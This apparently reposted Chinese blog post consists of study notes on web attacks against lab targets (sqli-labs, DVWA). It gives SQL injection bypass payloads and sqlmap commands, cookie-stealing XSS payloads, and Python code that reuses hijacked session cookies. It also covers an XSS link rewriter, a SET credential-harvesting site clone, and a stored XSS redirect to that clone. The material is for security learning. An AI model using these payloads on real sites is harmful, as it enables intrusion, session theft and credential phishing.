Web安全攻防的学习——08—(绕过SQL注入、XSS跨站脚本分类、利用cookie会话劫持、XSS窜改网页链接)

1、绕过SQL注入

绕过去除注释符的SQL注入
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。

Mysql中的注释符:(python中的语句规则)

  • 1.单行注释: --+ 或 --空格 或 #
  • 2.多行注释: /* 多行注释内容 */

对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。

利用注释符过滤不能成功闭合单引号,换一种思路利用 or ‘1’ = '1闭合单引号

http://127.0.0.1/sqli/Less-23/?id=1’ --+

绕过剔除and和or的SQL注入
MySQL基础知识:

  • 1.MySQL中的大小写不敏感,大写与小写一样
  • 2.MySQL中的十六进制与URL编码都可以解码
  • 3.符号和关键字替换 and转换为&& , or 转换为 ||

在这里插入图片描述
sqlmap探测

python sqlmap.py -u “http://127.0.0.1/sqli/Less-25/?id=1” --dbs --batch

在这里插入图片描述
绕过去除空格的SQL注入

  • 编码:hex,urlencode
  • 空格 URL编码 %20
  • TAB URL编码 %09

url编码:https://www.w3school.com.cn/tags/html_ref_urlencode.html

sqlmap探测

有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免
python sqlmap.py -u “http://127.0.0.1/sqli/Less-25/?id=1” --hex --dbs --batch
在这里插入图片描述

2、XSS跨站脚本分类

XSS漏洞介绍
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets )的缩写混淆, 故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入恶意script代码,当用户浏览该 页时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的。(前端部分)

cookie介绍
cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。cookie是由 web服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息

由于HTTP是一种无状态的协议,服务器单从网络连接上无从知道客户身份。怎么办呢?就给客户端们颁发一个通行证吧,每人一个,无论谁访问都必须携带自己通行证。这样服务器就能从通行证上确认客户身份了。这就是Cookie的工作原理。

反射型XSS
反射型XSS又称非持久性XSS,这种攻击往往具有一次性

攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用 户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
输出cookie值

输入下面语句提交之后会如下图显示cookie

<script>alert(document.cookie)</script>

在这里插入图片描述
存储型XSS
存储型XSS又称持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性

攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。

输入下面语句提交之后会如下图显示cookie
<script>alert(document.cookie)</script>

在这里插入图片描述
DOM型XSS
DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代 码,触发XSS漏洞。

在浏览器最后输入下面语句提交之后会如下图显示cookie
?default=%20<script>alert(document.cookie)</script>

在这里插入图片描述

3、 通过Python利用cookie会话劫持

在爬取某些需要登录的网站的时候,我们需要利用前面学习的cookie信息,直接进行登陆后爬取信息。

cookie = "security=low; csrftoken=EIe9fIFCRE4BXu8bqHKRX60hfih1bZAnMFMA8w2DtTygLGXcemxxiAyeAqsJPXhi; PHPSESSID=g2ii9pn9u0sck0shjvcqtfgne0"

cookie = {i.split("=")[0]:i.split("=")[1] for i in cookie.split("; ")}

html = requests.get('http://127.0.0.1/DVWA/index.php',headers=headers).text
import requests

headers = {
    "Cookie": "security=low; PHPSESSID=0dku74vnkiotb4f2oecffhotc0"    
}

html = requests.get("http://127.0.0.1/dvwa/", headers=headers).text
print(html)

劫持会话后的操作

  • 1.获取页面数据
  • 2.劫持前端逻辑
  • 3.发送请求
  • 4.偷取用户资料
  • 5.偷取用户密码和登录状态

4、XSS窜改网页链接

<script>
window.onload = function(){
    var link = document.getElementsByTagName("a");
    for(j=0;j<link.length;j++){
        link[j].href = "http://www.baidu.com";
    }
}
</script>

在这里插入图片描述
在这里插入图片描述

XSS盗取用户信息原理
克隆网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登录页面, 用户输入登录,账号和密码被存储。

setookie工具克隆网站
在kali中输入 setoolkit
1.社会工程攻击>1
2.网站攻击>2
3.凭据收集攻击>3
4.root网站克隆>2
在这里插入图片描述
存储XSS跳转克隆网站
在DVWA中XSS(Stored)中执行

<script>
window.location = "http://192.168.154.130/";
</script>
发布了60 篇原创文章 · 获赞 9 · 访问量 5038

猜你喜欢

转载自blog.csdn.net/weixin_42118531/article/details/104669686